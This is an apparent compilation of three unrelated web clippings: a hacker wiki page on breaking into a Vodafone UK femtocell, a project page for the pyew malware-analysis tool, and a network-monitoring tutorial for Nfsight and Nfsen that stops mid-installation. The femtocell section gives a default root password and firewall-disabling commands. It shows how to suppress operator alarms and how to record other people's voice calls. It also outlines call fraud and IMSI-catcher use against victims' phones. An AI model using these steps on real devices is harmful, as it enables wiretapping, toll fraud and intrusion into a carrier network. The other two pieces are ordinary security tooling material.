your own UMTS network in your house. The box connects back via your DSL
connection into their mobile network.  
  
This is an initial project to gather information about the technology and
verify the security. This project started in 2009 together with hackers from
the french underground. We have not worked on it since mid 2010. Hope this is
useful to somebody. Enjoy.  

# 1\. Where to buy

Visit the online shop at http://www.vodafone.co.uk/Gateway. The box costs 160
GBP. You don't need to be a Vodafone customer to buy it. A few days later you
will receive the box. You then have to register it on the webpage by entering
your details and your Vodafone mobile number \(i believe this can be prepaid
or contract\). It is possible to add up to 30 mobile phone numbers of other
people who will then be able to use your base station.  
  
There does not seem to be any restriction on the system from where it's being
used. E.g. you can take it to Paris and operate a UK Vodafone network on the
eifel tower.

# 2\. Infos via Network

Connected via ethernet. DHCP requests ip address. First NS lookup goes to
_initial-ipsecrouter.vap.vodafone.co.uk_. IKE kicks in \(port 500 UDP\).

  1. AES & 3DES
  2. HMAC\_SHA1 for PRNG
  3. AUTH\_HMAC\_SHA1\_96 for auth
  4. DH 2048 bit

IKE port seems to be firewalled from France, Germany, USA. \(ike-scan -2
initial-ipsecrouter.vap.vodafone.co.uk\).

TCP:

  1. Port 22 open, _SSH-1.99-OpenSSH\_4.4_.

TODO:

  1. Check if IKEv2 port 500 is also firewalled from UK based servers.

# 3\. Open Source

The box comes with a leaflet that it contains Open Source software: _Please
visit www.vodafone.co.uk/help for licensing information, and, whree
applicable, access to the source code._.

The source code is available at betavine.net. Use _svn
checkouthttps://forge.betavine.net/svn/voda-femtocell_ to checkout. Of special
note are patches to u-boot and the Linux kernel.

  1. TODO: Get the source code modifications.

# 4\. Hardware

_Sagem_ logo is all over the place. The main processor is a chip is a PicoChip
PC202 \(possibly running a Red Hat Linux on an embedded ARM\). Also present
are a Xilinx Spartan3 FPGA, a Lattice CPLD, and a DS2460 SHA-1 Coprocessor
with EEPROM \(encased in epoxy?\).

Hardware report \(including BOM\) is available for 3.000 EUR from
http://www.ejlwireless.com/hda.html.

## 4.1. Pictures

  1. pcb\_front.jpg
  2. pcb\_back.jpg
  3. ic1.jpg
  4. ic2.jpg
  5. ic3.jpg

Contact me for more high res pictures.

## 4.2. Spansion NOR Flash

Stores u-boot bootloader, nvram, radio calibration, etc. GL512N11FFIV2,
749BBZ87 S, Thailand, \(c\)04 Spansion serial 254058559. 512MBit \(64MByte\)
part, datasheet.

## 4.3. Hynix 256MByte NAND Flash

Contains Linux root FS.

## 4.4. Sagem HILo GSM Module

  1. Sagem Hilo Module
  2. Sagem Hilo Dev Board
  3. HiLO tech specs
  4. HiLo AT command set

The module is a 2G only module. The femto cell most likely uses it to
determine it's current location by measuring the 2G base stations and cell
id's, and to coordinate hand-offs between the femto and neighboring towers..
We believe that a FEMTO cell will be locked to a specific area to prevent
people from taking it abroad. Another possibility is that this HILo module is
used for remote login \(out-of-band administration\) by the operator.  
  
The HiLo module supports AT+CREG=2 which returns the _Location Area Code_ and
the _Cell Id_. It also supports AT+KCELL=0 which returns _Lac_ and _CellId_
and _ARFCN_ of the serving cell and all neighbouring cells.  
  
The Fractus GSM antenna is used for the HiLo module.  
  

The module is connected via 2.8v \(?\!?\) UART to PicoChip's UART2.

# 5\. Network Connection \(AC\)

The FemtoCell is called a 3G-AP \(Access Point\) and the other end of the
mobile network a 3G-AC \(Access Controller\). The protocol between them is
called Iap. The protocol between 3G-AC and MobOp core network is called RANAP.

## 5.1. Where does the encryption happen

In a traditional UMTS network the encrypted data is transmitted by the UE \(Uu
interface\) via the air, received by the Node-B and forwarded via the Iub
interface to the RNC where it is decrypted. The RNC is connected to the core
network via the RANAP protocol.  
  
Question: How does it work with the Femto and Iap? Does the decryption happen
on a 'mini'-RNC on the 3G-AP or is the entire encrypted data forwarded to the
3G-AC?  
  
We know from a leaked Iap API document that there exists a _Security Mode
Command_ message thats send from the 3G-AC to the 3G-AP containing
"EncryptInfo". It further explains that this information is derived from the
Encryption Information of the RANAP Security Mode Command message. The RANAP
message \(see ts\_125413v051200p.pdf, section 9.2.1.12\) contains the list of
encryption algorithms and 128 bit of key value. This would mean the key value
is also send to the 3G-AP \(us\!\!\!\).  
  
What does 'derived' mean? The entire EncryptInfo or just part of it without
the key value? In a traditional UMTS network there also exist a Iub message
_Security Mode Command_ which would only contain the list of algorithms but
not the key value itself \(see TS 25.551 Rel5, 10.3.3.19\).  
  
An indication that there is a mini-RNC on the 3G-AP is that the leaked Iap
document does not have any field for the FRESH value. This value is generated
on the RNC in a normal UMTS network. Thus there must be a mini-RNC on the
3G-AP \(if the leaked Iap documentation is correct\).

## 5.2. IPSEC up

Root access done. Flash update via ipsec worked. Default password still
working. IPSEC peer configures these networks for the remote side:
10.221.27.217/32  
10.222.225.0/29  
10.222.225.128/29  
172.16.7.253/32  
172.16.107.5/32  
172.16.107.6/32  
172.16.108.18/32  
172.16.161.4/32  
172.16.161.5/32  
172.16.161.6/32  
172.16/161/7/32  
172.16.161.8/32  
172.16.161.9/32  
172.16.161.36/32  
172.16.161.37/32  
172.16.161.38/32  

# 6\. Femto Mod

## 6.1. Hardware

### 6.1.1. Go invisible - Removing the Vodafone Tracking Backdoor

The Sagem HILO Module can be removed without risk. It can be used by vodafone
to track your location. Desolder the three attachment feet.

You can do this with a solder sucker and/or solder wick to remove most of it
and then slide a thin probe under the module beside each foot whilst heating
with a soldering iron until it 'clicks' up a little. Once you've done all
three you'll be able to simply lift the module off.

### 6.1.2. Breaking into the Femto

#### 6.1.2.1. Serial Console

Solder the UART TTL RX/TX and GND to a 3.3\(\!\)Volt TTL2RS232 converter USB
Socket \(you'll need to kludge a little 5V psu for this unit\). There also
exist other USB-powered serial converters such as this which don't need any
extras. \(See JTAG\_UART.bmp for pinouts\). The large golden square at the
edge of the PCB or one of the HILO foot pads can be used as GND.

The baud rate is 115200. Root password is 'newsys'.

#### 6.1.2.2. SSH

Now you're in via Serial, you can reset iptables firewall to allow all
traffic:

[code]

    iptables -P INPUT ACCEPT
    iptables -P OUTPUT ACCEPT
    
[/code]

Note that these rules will be lost upon reboot.

Create /var/tmp/authorized\_keys with your ssh public key in it \(password
login is disabled by default\):

[code]

    echo "*** my public key ***" > /var/tmp/authorized_keys
    reboot
    
[/code]

This file will survive the reboot, and now you can use ssh to port 222 to
login as 'primuser' \(the firewall will be configured to allow port 222 if
/var/tmp/authorized\_keys exists during boot\):

[code]

    ssh -p 222 primuser@my.femto.address
    
[/code]

Once you're ssh'd in as 'primuser', you can 'su' to root \(password
'newsys'\):

[code]

    $ su -
    Password:
    #
    
[/code]

\*\*\* Warning\! Login failures generate alerts\!

[code]

    tail /var/log/syslog/messages
    Oct  5 03:44:13 sshd[16508]: (pam_unix) authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rht
    Oct  5 03:44:13 sshd[16508]: TODO ubsr080456.01 login failure => raise security violation alarm service7
    Oct  5 03:44:16 sshd[16503]: error: PAM: Authentication failure for root from 192.168.222.1
    Oct  5 03:44:18 sshd[16606]: (pam_unix) authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rht
    Oct  5 03:44:18 sshd[16606]: TODO ubsr080456.01 login failure => raise security violation alarm service7
    Oct  5 03:44:21 sshd[16503]: error: PAM: Authentication failure for root from 192.168.222.1
    Oct  5 03:44:51 charon: 06[IKE] retransmit 1 of request with message ID 357
    
[/code]

Alternatively, /mnt/mainfs is permanent storage and wont be deleted after
reboot, so you can create your own permanent configs anwhere below here
\(e.g./mnt/mainfs/thc\) . See below for tips on running your own startup
scripts.

Install precompiled Monta-Vista ARM9 linux tools \(strace, lsof, netstat,
...\)

### 6.1.3. Increase output power

[code]

    /opt/alu/fbsr/fpga/fpgaP0 -P 950
    
[/code]

### 6.1.4. External Antenna and Amplifier

FIXME: Anyone who managed to put an external antenna and amplierifer to the
femto? Possible?

## 6.2. Software

It's a Montavista ARM linux running on it. Download
mvl\_5\_0\_0801921\_demo\_sys\_setuplinux.bin for a cross compiler
environment. This package also includes pre compiled tools \(strace, lsof,
gdb, ...\) that will work on the femto. The arm precompiled files are located
in _/usr/local/montavista/pro/devkit/arm/v5t\_le/target/usr/bin/_.

Setting up the environment  
To use the cross compiler environment just set your PATH to the Montavista GCC
binary \(it will generate ARM binaries on a i386 host\):  

[code]

    export PATH=/usr/local/montavista/pro/devkit/arm/v5t_le/bin:$PATH
    
[/code]

Compiling the Kernel  

  1. Extract linux-2.6.18.tar.gz to /usr/local/montavista/pro/usr/src/linux
  2. Apply patch\_orig\_to\_fbsr.txt.gz
  3. make menuconfig; make all

### 6.2.1. Preventing unwanted updates

Remove _dps.param_ from the xml configuration file \(see below\).

### 6.2.2. Disabling Alarms

Remove the entire BVG part from the xml configuration file. This will stop the
femto from reporting errors and alarms back to vodafone. FIXME: XXXXXX, can
you explain this a bit futher?

### 6.2.3. Making the Root FS \(/\) writeable

This is handy for patching a binary on a read only device \(/\). In this
example we make _/opt/alu/fbsr/app/fpu1.vx_ writeable. Mounting a writeable
partition to the directory _/opt/alu/fbsr/app_ and copying the original binary
to the new mount point does the trick.

[code]

    cd /opt/alu/fbsr/app
    mount mtd:MainFS /opt/alu/fbsr/app
    # The current working directory still has access to the old directory. Copy the data:
    tar cf - * | (cd ../app; tar xf -)
    # This will pollute /mnt/mainfs with data. Be careful of not overwriting existing binaries with same name.
    # Change to the new mount point with the writeable data in it:
    cd ../app
    # Modify any binary at will. fpu1.vx will restart when killed (and re-initialize the picoarray/umts baseband) :>
    
[/code]

### 6.2.4. Autostart on femto bootup

The femto root filesystem is read-only. XXXXXX found a trick to add your own
bootup autostart script to the system which will be executed when the femto
boots. This can be used to automatically disable the firewall and start your
own sshd to allow root login and password authentication.

1\. Edit your /mnt/mainfs/etc/default/ntp and add the following :

` NTPD_OPTS="-g -c /mnt/mainfs/etc/ntp.conf.tmp -u `sh
/mnt/mainfs/var/start/start.sh`" `

2\. An even simpler method is to create your own rc.local startup script:

[code]

    echo "#!/bin/sh" > /mnt/mainfs/etc/rc.local
    
[/code]

Now put anything you want to run at boot time into this script.

### 6.2.5. Factory Reset

The system can be booted into a 'factory reset'. This will delete the entire
nand flash and the femto will be as it was when you first connected it to the
network.

  1. Unplug the power from the femto.
  2. Press the reset button and keep it pressed.
  3. Connect the power to the femto.
  4. Wait 30 seconds before releasing the reset button

There is another 'reboot' trick to boot the system into a different 'MOD'.

  1. While the femto is running press the reset button and keep it pressed for 5 seconds

Not sure what this can be used for.

and another one...

telnet to the 'sbsp' interface and issue the 'BOOT FACTORY' command:

[code]

    telnet 127.0.0.1 7900
    100 IDNT: ver 3.0 ID=0.1.1 MAC=xx:xx:xx:xx:xx:xx Generic=BSR-02.01.51.34 BOARDTYPE=P2BIS SHELF=0 SLOT=1 LOG_ID=0
    BOOT FACTORY
    
[/code]

# 7\. Projects

## 7.1. Intercepting Traffic

You need:

  1. Kernel module ip\_queue.ko.
  2. The umts\_sniffer binary \(source: umts\_sniffer-0.1.tar.gz\).
  3. Use Real Player or any other player that can play AMR12.2 format.

Install the kernel module ip\_queue.ko.

[code]

    # Load the kernel module
    insmod ./ip_queue.ko
    
    # Start the umts_sniffer
    ./umts_sniffer
    
    # Decide which traffic to intercept. This example any RTP traffic.
    iptables -I OUTPUT -j QUEUE -p udp
    iptables -I INPUT -j QUEUE -p udp
    
    # The sniffer will log all voice telephone calls into a file in AMR12.2 format.
    
[/code]

### 7.1.1. Technical Details

There are many ways of intercepting the traffic between the Femto and the core
network. Wireshark is one way but often it's a pain in the ass and requires
manual labor. I prefer to record all voice calls into a file and just press
the play button or stream them while they happen to my speaker.

The Linux Kernel _netlink_ interface is a great way of intercepting the
network traffic that goes through ipsec. This interface allows a userland
process to instruct the kernel to first pass the network traffic to the
userland process. It is then up to the userland process to modify, discard or
reinject the packet back into the kernel network stack.

The source code above demonstrate how the netlink interface can be used to
intercept any traffic and record the RTP voice stream to a file in AMR12.2
format.

## 7.2. Call Fraud

The femto can be used to place calls or send SMS on somebodies else SIM card.
This means the attacker is not charged for the call/sms.

The attack:

  1. Catch a target phone with your femto cell.
  2. Let the target phone register and authenticate via the vodafone core network.
  3. From the femto deny all further traffic between the core network and the MS.
  4. On the femto send a request to the vodafone core network to place a call.
  5. Vodafone will try to authenticate the phone again. Only forward the authentication request and authentication reponse between the target phone and the core network. Do not forward any call set or other packets between the phone.

The vulnerability:

  1. The Femto cell contains a Mini-RNC/Node-B which is not a real RNC nor a Node-B. It's something inbetween. The mini-RNC can request real encryption keys and authentication vectors for _any vodafone UK customer_ from the vodafone core network \(like a real RNC\). The vodafone core network still authenticates every single phone \(like a Node-B\).

The umts\_sniffer program can be adapted to demonstrate call fraud.

## 7.3. Tunnelling

Carrying your femtocell with you wherever you go and tunnelling it back to the
UK can be very handy, and is simple to do.

We will create an OpenVPN tunnel and then route all traffic to/from the
femtocell down it. The far end of the tunnel will take care of NATting out to
the Internet.

The femtocell will be on it's own private Class C on 192.168.2.0, and the
tunnel will use 192.168.1.0.

If your laptop only has one ethernet interface, using a USB to Ether converter
such as the EdiMax EU-4206 for the femto 'just works'.

### 7.3.1. Linux Setup

#### 7.3.1.1. Femto Network

Add an entry for your second interface to /etc/network/interfaces on your
laptop:

[code]

    iface eth2 inet static
    address 192.168.2.1
    netmask 255.255.255.0
    
    auto eth2
    
[/code]

You also need to provide DHCP for the femto, so create /etc/dhcp3/dhcpd.conf:

[code]

    ddns-update-style none;
    
    option domain-name-servers <a DNS IP visible from your server>;
    
    default-lease-time 600;
    max-lease-time 7200;
    
    log-facility local7;
    
    subnet 192.168.2.0 netmask 255.255.255.0 {
      range 192.168.2.129 192.168.2.254;
      option routers 192.168.2.1;
    }
    
[/code]

#### 7.3.1.2. OpenVPN Config

Laptop End

[code]

    dev tun0
    proto udp
    ifconfig 192.168.1.2 192.168.1.1
    secret yoursecret.key
    keepalive 10 60
    ping-timer-rem
    persist-tun
    persist-key
    port 9999
    float
    remote <your server's Internet visible IP address>
    user nobody
    group nogroup
    
[/code]

Server End

[code]

    dev tun0
    proto udp
    ifconfig 192.168.1.1 192.168.1.2
    secret yoursecret.key
    keepalive 10 60
    ping-timer-rem
    persist-tun
    persist-key
    port 9999
    local <your server's Internet visible IP address>
    route 192.168.2.0 255.255.255.0 192.168.1.2
    user nobody
    group nogroup
    
[/code]

#### 7.3.1.3. Routing

##### 7.3.1.3.1. Laptop End

Add a routing table called 'femto' to /etc/iproute2/rt\_tables:

[code]

    #
    # reserved values
    #
    255     local
    254     main
    253     default
    0       unspec
    #
    # local
    #
    #1      inr.ruhep 
    1       femto  
    
[/code]

and put this in your /etc/rc.local so it runs automatically at startup:

[code]

    ip route add default via 192.168.1.1 table femto 
    ip rule add from 192.168.2.128/25 table femto
    sysctl net.ipv4.ip_forward=1
    /usr/sbin/dhcpd3
    
[/code]

Note that we only route the top half of the subnet so we don't send local
traffic down the pipe.

##### 7.3.1.3.2. Server End

Set up NAT

Add this to /etc/rc.local:

[code]

    iptables --table nat --append POSTROUTING --out-interface eth0 -j MASQUERADE
    iptables --table nat --append POSTROUTING -j SNAT --to-source <Server IP Address>
    iptables --append FORWARD --in-interface tun0 -j ACCEPT
    
[/code]

### 7.3.2. Notes

If your ping time through the tunnel is greater than 150ms then the femtocell
will not allow calls to proceed \(actually, the first call made immediately
after booting will last about two and a half minutes and then you will be cut
off\).

If you want to simulate this effect, you can add a delay to the tunnel:

[code]

    tc qdisc add dev tun0 root netem delay 150ms
    
[/code]

Note that the delay only seems to matter if it's there during fpu1.vx startup.

If you don't mind having your conversation in two and a half minute chunks or
you just need to send a text, you can re-enable your line by restarting
fpu1.vx and waiting for the green tick light to come back on:

[code]

    killall fpu1.vx
    
[/code]

# 8\. Toys

## 8.1. Sniffing Traffic with Wireshark

Compile wireshark svn checkout with attachment:lucent-hnb.patch.

Sniff network traffic UDP port 4500 \(IPSEC/ESP\). Make a phone call for
example. Hangup.

On the femto use the command 'ip xfrm state' to see the ipsec secrets of the
current session.

Load the pcap file info wireshark. Add the ipsec secrets \(see
attachment:wireshark\_esp.jpg\).

  1. Look for SCTP and 'RANAP' packets. If you see a malformed message right click on the field -> _decode as_ -> _PPID\(6\)_ as _Lucent HNB_.
  2. Look for RTP payload. It's RTP voice stream \(unencrypted\) with AMR-12.2.

### 8.1.1. ISAKMP

Part of the IPSec handshake is encrypted. For example the authentication part
\(Pre Shared secret from the DS2460 chip\) and the configuration \(IP routing
setup\).

To decrypt the ISAKMP IPSec handshake do the following:

  1. edit /etc/ipsec/ipsec.conf and set _charondebug=ike 4_.
  2. execute 'ipsec restart'. grep for _Sk\__ in /var/log/syslog/messages
  3. insert these values into wireshark under _ISAKMP_. The SPI values are initiator/responder cookie from the first/second ISAKMP message.

## 8.2. IMSI Catcher

It is possible to attract other Mobile Phones to log onto the femto cell and
use the femto cell. SIM card's that are not registered via the vodafone
gateway webpage are able to place calls through the femto. All incoming calls
are directed to voicemails. Outgoing SMS go through but incoming SMS are not
delivered to the target phone. SMS from vodafone directly \(like
configurations and marketing SMS'es\) are received by the target SIM.

Calls placed by the target phone are charged to the target SIM.

The only known way to get around this limitation \(e.g. attracting a victim's
phone and intercepting outgoing \_and\_ incoming traffic\) is to register the
victim's phone number with your femto by ringing vodafone. It is possible to
register up to 32 phone numbers per femto.

The database of which IMSI is allowed on the femto is in
/mnt/mainfs/oam\_data/dynamic/backup/\*.xml. This file is pushed from vodafone
to the AP. The XML file is converted into a database in
../../01010100/Bulkcm.cdb.

To modify and load the new database do the following:

  1. Copy the new XML file to _/opt/alu/fbsr/oam\_data/dynamic/restore/Bulkcm.xml_.
  2. restart fpu1.vx process. It will restart and update the database. Warning: This will reset the firewall rules.

[code]

    mkdir /opt/alu/fbsr/oam_data/dynamic/restore
    cp /mnt/mainfs/oam_data/dynamic/backup/*.xml /opt/alu/fbsr/oam_data/dynamic/restore/Bulkcm.xml
    vi /opt/alu/fbsr/oam_data/dynamic/restore/Bulkcm.xml
    killall fpu1.vx
    
[/code]

Any change you make is persistent and will survive reboots, so make sure you
backup your XML file before you start\!

### 8.2.1. Adding your own SIM card

  1. Set _femtoACLenable_ from _true_ to _false_. The femto will allow any IMSI onto the femto \(careful, you are attracting other people's phone now\! Vodafone will find out about it as the victim's phone will now use your femto to place and receive phone calls.\).

## 8.3. sbsp interface

TODO: Describe this\!

The sbsp interface lives on localhost port 7900, and the command 'sbsp' is
aliased to a telnet session:

[code]

    root@femtobsr_alu:~# alias                                                                                                 
    alias sbsp='telnet 127.0.0.1 7900'
    
[/code]

For command options on this interface, just type HELP after connecting:

[code]

    HELP                                                                                                                       
    102 HELP  EXECUTION OUTPUT FOLLOWS                                                                                         
    HELP:   syntax HELP <command>,                                                                                             
            action: provides some hints on how to use each command                                                             
    The following is the list of currently available commands                                                                  
            HELP                                                                                                               
            IDNT                                                                                                               
            SDNLD                                                                                                              
            DDNLD                                                                                                              
            VRFY                                                                                                               
            TEST                                                                                                               
            GETG                                                                                                               
            CMTG                                                                                                               
            CMTM                                                                                                               
            SETG                                                                                                               
            DELE                                                                                                               
            SWEP                                                                                                               
            LIST                                                                                                               
            BOOT                                                                                                               
            QUIT        
    
[/code]

# 9\. Links

  1. TR-196.pdf - Service Data Model \(.xml configuration\)
  2. GSMA Security Issues in Femtocell Deployment

Balanced theme by Henrik Omma and Heather Stern. Powered by MoinMoin

# pyew - A Python tool for static malware analysis - Google Project Hosting

**Created:**| _6/26/2014 12:36:35 PM_  
---|---  
**Updated:**| _6/26/2014 12:36:35 PM_  
**Author:**| __  
**Tags:**| _Malware-analysis_  
  

# A Python tool for static malware analysis

Pyew is a \(command line\) python tool to analyse malware. It does have
support for hexadecimal viewing, disassembly \(Intel 16, 32 and 64 bits\), PE
and ELF file formats \(it performs code analysis and let you write scripts
using an API to perform many types of analysis\), follows direct call/jmp
instructions in the interactive command line, displays function names and
string data references; supports OLE2 format, PDF format and more. It also
supports plugins to add more features to the tool.

Pyew have been successfully used in big malware analysis systems since almost
2 years, processing thousand of files daily.

See some usage examples, example batch scripts or a tool to compare and group
programs \(PE and ELF\) using the API provided by Pyew.

NOTE: It's highly recommended to always use the Mercurial version instead of
the versions available in the Downloads section.

ChangeLog:

Version 2.3 Stable \(01-13-2014\)

  * Many stability fixes to the x86 code analysis engine. 
  * Refactorization of many parts of the code analysis engine. 
  * Added support for command "ws" to patch files with null terminated strings. 
  * Corrected version number and copyright notices. 

Version 2.2 Stable \(12-30-2012\)

  * Loads of bug fixes. 
  * Many little enhancements to the x86 code analysis engine, notoriously increasing the overall speed and finding more functions and basic blocks missed in previous versions. 
  * Updated PEFile version to 1.2.10. 
  * Support for 2 more disassembly engines: diStorm v3 and pymsasid \(pure python disassembler\). 
  * Automatic calculation of the application call graph and function's flow graphs. 
  * Support for analysing x86 boot sector files. 

Version 2.1 Beta \(11-27-2011\)

  * Added Kenshoto's VTrace. 
  * Initial support for integrated debugging. 
  * Good support for ELF file format \(both 32 and 64 bits\). 
  * Code analysis engine enhanced. 
  * Fixed a lot of bugs. 

Version 2.0

  * Code analysis system for x86 rewritten from scratch. 
  * Support for databases. You can analyze binaries \(PE or ELF\) and save/open databases. 
  * Added graph's based clusterization tool 'gcluster.py'. 
  * Added new PDF utilities: 

  * `pdfss`: Seek to one stream 
  * `pdfobj`: Show object's list 
  * `pdfso`: Seek to one object 

  * Added new plugins: 

  * `binvi`: Show an image representing the contents of the file. Usefull to see different sections in a binary. 
  * `packer`: Check if the PE file is packed 
  * `cgraph`: Show the callgraph of the whole program \(needs PyGTK to show a GUI\). 

  * Many bug fixes. 

Version 1.1.1

  * Support for ELF file formats \(AMD64 and IA32\) using the Kenshoto's ELF library \(VTrace\). 
  * Code analysis by recursively traversing all possible code paths from entry points. 
  * Added the following APIS: 

  * `resolveName`: Resolves the internal name of the given address/offset. 
  * `NextHead`: Return the next disassembly offset given an address/offset. 
  * `GetMnem/GetMnems`: Returns the mnemonic or mnemonic list given an offset and the number of mnemonics to retrieve. 

Pyew is very similar in some aspects to the following tools:

  * The Interactive Disassembler \(IDA\). Although Pyew does not compete with IDA \(and the author of the tool doesn't want it at all\), it can be considered as a "mini IDA" focused on batch malware analysis. 
  * The almighty radare. 
  * The open source Biew and the commercial Hiew. 

# HolisticInfoSec: toolsmith: C3CM Part 1 – Nfsight with Nfdump and Nfsen

**Created:**| _1/15/2014 9:40:36 PM_  
---|---  
**Updated:**| _1/15/2014 9:40:36 PM_  
**Author:**| __  
**Tags:**| _network-security monitoring_  
  

# **t** oolsmith: C3CM Part 1 – Nfsight with Nfdump and Nfsen****

**Prerequisites**

Linux OS –Ubuntu Desktop 12**.** 04 LTS discussed herein

**Introduction**

I’ve been spending a fair bit of time reading, studying, writing, and
presenting as part of Officer Candidate training in the Washington State
Guard**.** When I’m pinned I may be one of the oldest 2nd Lieutenants you’ve
ever imagined \(most of my contemporaries are Lieutenant Colonels and
Colonels\) but I will have learned beyond measure**.** As much of our last
drill weekend was spent immersed in Army operations I’ve become quite familiar
with Army Field Manuals 5-0 The Operations Process and 1-02 Operational Terms
and Graphics**.** Chapter 2 of FM 1-02, Section 1 includes acronyms and
abbreviations and it was there I spotted it, the acronym for command, control,
and communications countermeasures: C3CM**.** This gem is just ripe for use in
the cyber security realm and I intend to be the first to do so at length**.**
C2 analysis may be good enough for most but I say let’s go next level**.**
;-\) Initially, C3CM was most often intended to wreck the command and control
of enemy air defense networks, a very specific Air Force mission**.** Apply
that mindset in the context of combating bots and APTs and you’re onboard**.**
Our version of **C3CM** therefore is _**to identify, interrupt, and counter
the command, control, and communications capabilities of our digital
assailants****.**_

Part one of our three part series on C3CM will utilize Nfsight with Nfdump,
Nfsen, and fprobe to conduct our identification phase**.** These NetFlow tools
make much sense when attempting to identify the behavior of your opponent on
high volume networks that don’t favor full packet capture or inspection**.**

A few definitions and descriptions to clarify our intent:

1\) NetFlow is Cisco’s protocol for collecting IP traffic information and is
an industry standard for traffic monitoring

2\) Fprobe  is a libpcap-based tool that collects network traffic data and
emits it as NetFlow flows towards the specified collector and is very useful
for collecting NetFlow from Linux interfaces

3\) Nfdump  tools collect and process NetFlow data on the command line and are
part of the Nfsen project

4\) Nfsen  is the graphical web based front end for the Nfdump NetFlow tools

5\) Nfsight , our primary focus, as detailed on its Sourceforge page, is a
NetFlow processing and visualization application designed to offer a
comprehensive network awareness**.** Developed as a Nfsen plugin to construct
bidirectional flows out of the unidirectional NetFlow flows, Nfsight leverages
these bidirectional flows to provide client/server identification and
intrusion detection capabilities**.**

Nfdump and Nfsen are developed by Peter Haag while Nfsight is developed by
Robin Berthier**.** Robin provided extensive details regarding his
project**.** He indicated that Nfsight was born from the need to easily
retrieve a list of all the active servers in a given network**.** Network
operators and security administrators are always looking for this information
in order to maintain up-to-date documentation of their assets and to rapidly
detect rogue hosts**.** As mentioned above, it made sense to extract this
information from NetFlow data for practicality and scalability**.** Robin
pointed out that NetFlow is already deployed in most networks and offers a
passive and automated way to explore active hosts even in extremely large
networks \(such as the spectacularly massive Microsoft datacenter environment
I work in\)**.** The primary challenge in designing and implementing Nfsight
lay in accurately identifying clients and servers from omnidirectional NetFlow
records given that NetFlow doesn't keep track of client/server sessions; a
given interaction between two hosts will lead to two separate NetFlow
records**.** Nfsight is designed to pair the right records and to identify
which host initiated the connection and does so through a set of heuristics
that are combined with a Bayesian inference algorithm**.** Robin pointed out
that timing \(which host started the connection\) and port numbers \(which
host has a higher port number\) are two examples of heuristics used to
differentiate client from server in bidirectional flows**.** He also stated
that the advantage of Bayesian inference is to converge towards a more
accurate identification as evidence is collected over time from the different
heuristics**.** As a result, Nfsight gains a comprehensive understanding of
active servers in a network after only few hours**.**

Another important Nfsight feature is the visual interface that allows
operators to query and immediately display the results through any Web
browser**.** One can, as an example, query for all the SSH servers**.**

“The tool will show a matrix where each row is a server \(IP address and
port/service\) and each column is a timeslot**.** The granularity of the
timeslot can be configured to represent a few minutes, an hour, or a day**.**
Each cell in the matrix shows the activity of the server for the specific time
period**.** Operators instantly assess the nature and volume of client/server
activity through the color and the brightness of the colored cell**.** Those
cells can even show the ratio of successful to unsuccessful network sessions
through the red color**.** This enables operators to identify scanning
behavior or misconfiguration right away**.** This feature was particularly
useful during an attack against SSH servers recorded in a large academic
network**.** As shown on the screenshot below, the green cells represent
normal SSH server activity and suddenly, red/blue SSH client activity starts,
indicating a coordinated scan**.** ”

<img src='img/Temp2_3943.png' />  
---  
FIGURE 1: Nfsight encapsulates attack against SSH servers  
Robin described the investigation of the operating systems on those SSH
servers where the sysadmins found that they were using a shared password
database that an attacker was able to compromise**.** The attacker then
installed a bot in each of the server, and launched a scanning campaign from
each compromised server**.** Without the visual representation provided by
Nfsight, it would have taken much longer to achieve situational awareness, or
worse, the attack could have gone undetected for days**.**

I am here to tell you, dear reader, with absolute experiential certainty, that
this methodology works at scale for identifying malicious or problematic
traffic, particularly when compared against threat feeds such as those
provided by Collective Intelligence Framework**.** Think about it from the
perspective of detecting evil for cloud services operators and how to do so
effectively at scale**.** Tools such as Nfdump, Nfsen, and Nfsight start to
really make sense**.**

**Preparing your system for Nfsight**

Now that you’re all excited, I will spend a good bit of time on installation
as I drew from a number of sources to achieve an effective working base for
part one of our three part series of C3CM**.** This is laborious and detailed
so pay close attention**.** I started working from an Ubuntu Desktop 12**.**
04 LTS virtual machine I keep in my collection, already configure with Apache
and MySQL**.** One important distinction here**.** I opted to not spin up my
old Cisco Catalyst 3500XL in my lab as it does not support NetFlow and instead
opted to use fprobe to generate flows right on my Ubuntu instance being
configured as an Nfsen/Nfsight collector**.** This is acceptable in a low
volume lab like mine but won’t be effective in any production environment**.**
You’ll be sending flows from supported devices to your Nfsen/Nfsight
collector\(s\) and defining them explicitly in your Nfsen configuration as
we’ll discuss shortly**.** Keep in mind that preconfigured distributions such
as Network Security Toolkit  come with the like of Nfdump and Nfsen already
available but I wanted to start from scratch with a clean OS so we can build
our own C3CM host during this three part series**.**

From your pristine Ubuntu instance, begin with a system update to ensure all
packages are current: sudo apt-get update && sudo apt-get upgrade**.**

You can configure the LAMP server during VM creation from the ISO or do so
after the fact with sudo apt-get install tasksel then sudo tasksel and select
LAMP server**.**

Install the dependencies necessary for Nfsen and Nfsight: sudo apt-get install
rrdtool mrtg librrds-perl librrdp-perl librrd-dev Nfdump libmailtools-perl
php5 bison flex librrds-perl libpcap-dev libdbi-perl picviz fprobe**.** You’ll
be asked two question during this stage of the install**.** The fprobe install
will ask which interface to capture from; typically the default is eth0**.**
For Collector address, respond with localhost:9001**.** You can opt for a
different port but we’ll use 9001 later when configuring the listening
component of Nfsen**.** During the mrtg install, when prompted to answer “Make
/etc/mrtg.cfg owned by and readable only by root**?** " answer Yes.

The Network Startup Resource Center \(NSRC\) conducts annual workshops; in
2012 during their Network Monitoring and Managements event Nfsen installation
was discussed  at length**.** Following their guidance:

**Install and configure Nfsen:**

cd /usr/local/src

sudo wget "http://sourceforge.net/projects/nfsen/files/latest/download " -O
nfsen.tar**.** gz

sudo tar xvzf nfsen.tar.gz

cd nfsen-1.3**.** 6p1

cd etc

sudo cp nfsen-dist.conf nfsen.conf

sudo gedit nfsen.conf

Set the $BASEDIR variable: $BASEDIR="/var/nfsen";

Adjust the tools path to where items actually reside:

\# Nfdump tools path

$PREFIX = '/usr/bin';

Define users for Apache access:

$WWWUSER = 'www-data';

$WWWGROUP = 'www-data';

Set small buffer size for quick data rendering:

\# Receive buffer size for nfcapd

$BUFFLEN = 2000;

Find the %sources definition, and modify as follows \(same port number as set
in fprobe install\):

%sources=\(

'eth0' => \{'port'=>'9001','col'=>'\#0000ff','type'=>'netflow'\},

Save and exit gedit**.**

**Create the NetFlow user on the system:**

sudo useradd -d /var/netflow -G www-data -m -s /bin/false netflow

**Initialize Nfsen:**

cd /usr/local/src/nfsen-1**.** 3.6p1

sudo ./install.pl etc/nfsen.conf

